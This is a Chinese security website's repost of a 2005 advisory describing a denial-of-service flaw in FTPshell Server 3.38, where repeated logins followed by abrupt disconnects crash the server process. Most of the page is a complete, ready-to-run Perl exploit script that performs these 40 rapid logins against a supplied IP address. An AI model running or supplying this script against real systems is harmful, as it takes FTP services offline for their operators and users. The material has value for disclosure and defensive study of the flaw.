首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FTPshell Server DoS
来源:http://reedarvin.thearvins.com/20050725-01.html 作者:Reed 发布时间:2005-07-27  

FTPshell Server DoS

Summary
"FTPShell server is a windows FTP service that enables remote file downloads and uploads."

Due to improper freeing of resources allows attackers to cause the FTPshell Server to crash.

Credit:
The information has been provided by Reed Arvin .
The original article can be found at: http://reedarvin.thearvins.com/20050725-01.html

Details
Vulnerable Systems:
* FTPshell Server Version 3.38

Logging into the FTP server successfully and then abruptly closing the connection (without using the QUIT command) more than 39 times in succession will cause the ftpshelld.exe process to die.

Exploit:
#===== Start FTPShell_FTPDOS.pl =====
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
# FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i) = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Login \#$i\n";

Win32::Sleep(300);

print $socket "USER $ARGV[1]\r\n";

Win32::Sleep(100);

print $socket "PASS $ARGV[2]\r\n";

Win32::Sleep(100);

print $socket "PORT 127,0,0,1,18,12\r\n";

Win32::Sleep(100);

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
}
#===== Start FTPShell_FTPDOS.pl =====



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SlimFTPd RNFR Buffer Overflow
·FtpLocate Command Execution
·Netquery Command Execution
·SQL Injection in Product Cart
·Stealth Background Process
·@Mail multiple variable cross-
·SlimFTPd <= 3.16 LIST Comma
·CA BrightStor ARCserve Backup
·phpSlash Account Hijacking
·CA BrightStor ARCserve Backup
·OpenBB CID SQL Injection
·Ethereal 10.x AFP Protocol Dis
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved